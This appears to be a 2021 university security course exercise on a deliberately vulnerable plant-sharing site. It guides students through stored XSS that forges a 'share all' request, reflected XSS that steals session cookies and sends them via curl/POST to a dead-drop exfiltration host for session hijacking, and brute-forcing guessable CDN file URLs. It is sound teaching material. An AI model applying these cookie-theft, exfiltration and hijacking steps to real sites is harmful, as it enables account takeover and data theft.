CS-C3130 Information Security (2021)
Exercise 5

Cross-Site Scripting (XSS)

Cross-site scripting (XSS) is one of the most common vulnerabilities in web software. In this exercise, you will learn about two common types of XSS and why they are dangerous. As before, the exercise launcher is running at `https://infosec1.vikaa.fi/`.

Part A. Stored XSS

The Potplants site has embraced sharing culture. It is possible to share your plants with other users. Unfortunately, this tremendously empowering feature leads to yet another security vulnerability: XSS. The server does not properly filter or escape non-alphabetic characters in the user input. Thus, a malicious user can insert HTML tags and client-side JavaScript into the plant data fields and share them with other users. Since the malicious scripts are stored on the server, this is called *persistent* or *stored* XSS.

The objective of this exercise is to exploit the XSS vulnerability and get other users to execute JavaScript that you wrote. More specifically, your goal is to trigger the *Share all* function in the victim's account. To get started with XSS, you can follow these steps:

1. First, try to find an input field where you can insert HTML tags. As the first test, try adding some text formating into the plant data. Either `<b>...</b>` or `<i>...</i>` may work better depending on your browser.
2. Next, try to inject some JavaScript code. Embed the following script into the data: `<script>alert('Hello!');</script>`. When the JavaScript is successfully executed, a pop-up window appears in the victim's browser.
3. Instead of calling `alert()`, insert a malicious script that shares all the user's plants by sending a GET request to `/plants/shareall`.
4. When another user views the list of shared plants, which includes the one you just crafted, that user's plants should also become shared. Create a second user account and test that the attack works.

Submit in the exercise launcher. For full points, avoid falling victim to your own attack.

Notes: (1) The Potplants site has separate tabs for your own plants and those shared by others. Click on a plant name to edit its data or to change the sharing settings. (2) Scripts are embedded with the HTML `<script>...</script>` tags. In the script, you can make use of the jQuery library, which is already loaded by the web page. (3) You can make a GET request from the client-side JavaScript with `XMLHttpRequest` or with the jQuery function `$.get()`. The older XSS techniques for triggering the GET request, such as page navigation, iframe and pop-up, are less stealthy and may be blocked by modern browsers. (4) Use the developer mode in the web browser (for example, in Chrome, press Ctrl-Shift-I and choose the Network tab) to see the HTTP requests and responses while you test the malicious script.

Part B. Reflected XSS

Another form of XSS is *non-persistent* or *reflected* XSS. As can be expected, our Potplants web application is vulnerable again. When a non-existent page is accessed, the server presents a user-friendly error page. Here is a line from the server-side code that returns the friendly message:

```
$('.container').html("Oops. Page " + decodeURI(window.location.pathname + window.location.search)
    + " could not be found :-(");
```

The programmer made a mistake in decoding the %-encoded URL. While the address looks prettier that way, the decoding also enables the reflected XSS attack.

Your goal is to craft a malicious URL, which you will send to other Potplants users with the help of the exercise launcher. You hope that somebody will click on the link while they are logged in on the Potplants site. If they do that, malicious code that you have embedded in the link will be executed in the victim user's browser. You could forge a request similar to the one in part A. However, you notice that the Potplants developers have forgotten to set the `HttpOnly` attribute on session cookies. This means that the malicious JavaScript will be able to steal the victim user's session cookies. Once you know the secret session cookies, you can hijack the victim's login session and impersonate the victim to the server.

It is easiest to construct the attack in steps, attacking first yourself and then a second user account that also belongs to you. The beginning is similar to part A:

1. Embed some HTML tags, such as `<b>...</b>`, into the query part of the URL and see if it is possible to inject tags to the error page.
2. Try to insert the JavaScript code `alert('Hello!');` into the URL.
3. Try to get the alert function to print your own cookies.
4. Instead of the alert pop-up, write a script that sends the cookie values to an evil server on the Internet. POST the data there with `XMLHttpRequest` or jQuery. Check that you can collect the stolen cookies from the evil server.
5. Register a second Potplants user account and log into the Potplants site. The second user will be your test victim. Let the second user load the crafted URL while they are logged in on the Potplants web site.
6. Use the stolen cookies of the second user to steal its login session. Basically, you need to replace the first user's session cookie with the stolen cookie from the second user. You need to do this before the cookies expire, which may be very soon or never.

For collecting stolen data, you can use an anonymous sharing services such as `pastebin.com`. While your goal is to steal the session cookies, the same sharing services could be used as a dead drop for exfiltrating any confidential data which the malicious code is able to retrieve, such as the victim's plant data. For your convenience, we have set up an anonymous dead-drop service at `https://hackerlog1.vikaa.fi/logs`. Here are examples of two different ways to upload data with HTTP POST from Linux command line and to retrieve it later:

```
curl -X POST -d 'key=mycleverkey&value=gingerbread cookie' https://hackerlog1.vikaa.fi/logs
curl https://hackerlog1.vikaa.fi/logs/mycleverkey
curl -X POST -H "Content-Type: application/json" -d '{"key":"evilgenius456","value":"chocolate
    chip cookie"}' https://hackerlog1.vikaa.fi/logs
curl https://hackerlog1.vikaa.fi/logs/evilgenius456
```

To submit your solution, do the following:

1. After testing well that your malicious URL works, paste it to the exercise launcher. Leave the second input box empty for now.
2. When the exercise launcher says that someone has clicked on the link, collect the stolen cookie and submit the `userrand` cookie value to the exercise launcher. This time, leave the first input box empty.
3. Use the stolen cookies to impersonate the victim on the Potplants site. Add a plant to their account with the name *I was hacked* and share the plant to other users. Then click again on the Submit button in the exercise launcher. This time, leave both input boxes empty.

Notes: (1) In order for the attack to succeed, the target user has to be logged in on the Potplants application when they follow the malicious link. When testing, it helps to use a second web browser for the victim account because you cannot have two different users logged in on the same browser at the same time. (2) In any real web site, the session cookies should have the `HttpOnly` flag set. This would prevent the cookie stealing but not other XSS attacks like forged requests (similar to part A) or stealing confidential application data. (3) The session cookies, like passwords, are vulnerable to sniffing on the network and should be protected with HTTPS. The reason for using insecure connections in the exercise server is that we do not want to enroll certificates for the hundreds of servers launched by the students. (4) You may wonder if the *same-origin policy* prevents JavaScript from sending data to the second site. It does not. The evil server to which the data is leaked has set a CORS policy to allow *cross-origin* HTTP GET and POST requests. Even if it did not, browsers implement the same-origin policy so that all requests are sent and only the responses to cross-origin requests are inaccessible. Thus, the same-origin policy does not prevent the injected client-side JavaScript from leaking the cookies.

Part C (bonus problem). Insecure direct references (10 p)

Many web sites store media content and downloadable files in a separate server — or even outsource their delivery to a CDN. Since the login session is local to one server or a Kubernetes cluster, the access control for the externally served files is often based on long pseudorandom URLs. Anyone who knows the URL can download the file. To prevent unauthorized access, the URLs should be impossible to guess by outsiders and unauthorized users. For example, a 20-character random ASCII filename would be impossible to guess.

The Potplants developers are storing plant photos on an external server, *cdn1.vikaa.fi*, where they can be accessed if one knows the URL. Perhaps unsurprisingly, the developers have made some mistakes. Your task in this exercise is to download at least one photo from the same folder as your own photos, but one that you cannot legitimately access through the web site. Submit the URL for the photo to the exercise launcher.

You may have to brute-force guess some parts of the URL. Please keep the HTTP request rate to the server below five requests per second. Also, check the HTTP response status. If the server blocks you with status code 429, stop the probing and reduce the request rate.

Hint: There are many ways to optimize the brute-force search. It is possible to get down to a few thousands of of HTTP requests.